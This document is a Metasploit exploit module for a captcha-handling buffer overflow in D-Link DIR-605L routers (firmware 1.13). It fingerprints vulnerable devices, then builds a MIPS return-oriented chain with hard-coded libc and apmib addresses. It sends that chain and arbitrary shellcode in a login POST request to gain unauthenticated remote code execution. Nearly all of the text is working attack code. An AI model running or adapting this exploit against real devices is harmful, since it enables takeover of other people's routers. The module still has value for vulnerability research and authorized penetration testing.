D-Link DIR-605L – Captcha Handling Buffer Overflow (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # Because only has been tested on a QEMU emulated environment HttpFingerprint = { :pattern => [ /Boa/ ] } include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link DIR-605L Captcha Handling Buffer Overflow', 'Description' => %q{ This module exploits an anonymous remote code execution on D-Link DIR-605L routers. The vulnerability exists while handling user supplied captcha information, and is due to the insecure usage of sprintf on the getAuthCode() function. This module has been tested successfully on DLink DIR-605L Firmware 1.13 under a QEMU environment. }, 'Author' => [ 'Craig Heffner', # Vulnerability discovery, original exploit 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'Payload' => { 'DisableNops' => true, 'Space' => 3000, 'BadChars' => "\x00\x67\x26\x2b" }, 'Platform' => ['linux'], 'Arch' => ARCH_MIPSBE, 'References' => [ [ 'OSVDB', '86824' ], [ 'URL', 'http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/' ] ], 'Targets' => [ [ 'DLink DIR-605L 1.13', { 'Offset' => 94, 'LibcBase' => 0x2ab86000, # According to Original Exploit by Craig Heffner 'ApmibBase' => 0x2aaef000, # According to Original Exploit by Craig Heffner #'LibcBase' => 0x4212e000, # QEMU environment #'ApmibBase' => 0x42095000, # QEMU environment #LOAD:000248D4 li $a0, 1 ; set $a0 for the sleep() call #LOAD:000248D8 move $t9, $s1 ; $s1 is controlled after the overflow #LOAD:000248DC jalr $t9 'Ret' => 0x248D4, # from libc #LOAD:0002B954 move $t9, $s2 # Controlled #LOAD:0002B958 lw $ra, 0x30+var_4($sp) # allows to get controlled $ra from the stack #LOAD:0002B95C lw $s4, 0x30+var_8($sp) #LOAD:0002B960 lw $s3, 0x30+var_C($sp) #LOAD:0002B964 lw $s2, 0x30+var_10($sp) #LOAD:0002B968 lw $s1, 0x30+var_14($sp) # allows to get controlled $s1 from the stack #LOAD:0002B96C lw $s0, 0x30+var_18($sp) #LOAD:0002B970 jr $t9 'RopJmpSleep' => 0x2B954, # from libc 'RopSleep' => 0x23D30, # from libc # Sleep Function Address # sleep() to flush the data cache #LOAD:000027E8 move $t9, $s1 # Controlled #LOAD:000027EC jalr $t9 ; sub_22D0 #LOAD:000027F0 addiu $a2, $sp, 0x40+var_24 ; put pointer to the stack on $a2 # executed because of pipelining 'RopPtrStack' => 0x027E8, # from apmi #LOAD:00001D78 move $t9, $a2 ; $a2 contains a poiner to the stack #LOAD:00001D7C jalr $t9 'RopJmpStack' => 0x01D78 # from apmi } ] ], 'DisclosureDate' => 'Oct 08 2012', 'DefaultTarget' => 0)) end def check res = send_request_cgi({ 'uri' => '/comm.asp' }) if res and res.code == 200 and res.body =~ /var modelname="DIR-605L"/ and res.headers["Server"] and res.headers["Server"] =~ /Boa\/0\.94\.14rc21/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit shellcode = "" shellcode << rand_text(target['Offset']) # Padding shellcode << rand_text(4) # $s0 shellcode << [target['LibcBase'] + target['RopJmpSleep']].pack("N") # $s1 shellcode << [target['LibcBase'] + target['RopSleep']].pack("N") # $s2 shellcode << rand_text(4) # $s3 shellcode << [target['LibcBase'] + target.ret].pack("N") # $ra shellcode << rand_text(0x1c) # filler shellcode << rand_text(4) # $s0 shellcode << [target['ApmibBase'] + target['RopJmpStack']].pack("N") # $s1 shellcode << rand_text(4) # $s2 shellcode << rand_text(4) # $s3 shellcode << rand_text(4) # $s4 shellcode << [target['ApmibBase'] + target['RopPtrStack']].pack("N") # $ra shellcode << rand_text(0x1c) # filler shellcode << payload.encoded # shellcode print_status("#{peer} - Sending exploit...") send_request_cgi({ 'method' => 'POST', 'uri' => "/goform/formLogin", 'encode_params' => false, 'vars_post' => { 'VERIFICATION_CODE' => 'myvoiceismypassportverifyme', 'VER_CODE' => '1234', 'login_n' => 'admin', 'FILECODE' => shellcode, 'curTime' => '1348588030496', 'login_pass' => 'Zm9vb255b3UA', 'login_name' => 'admin' } }) end end |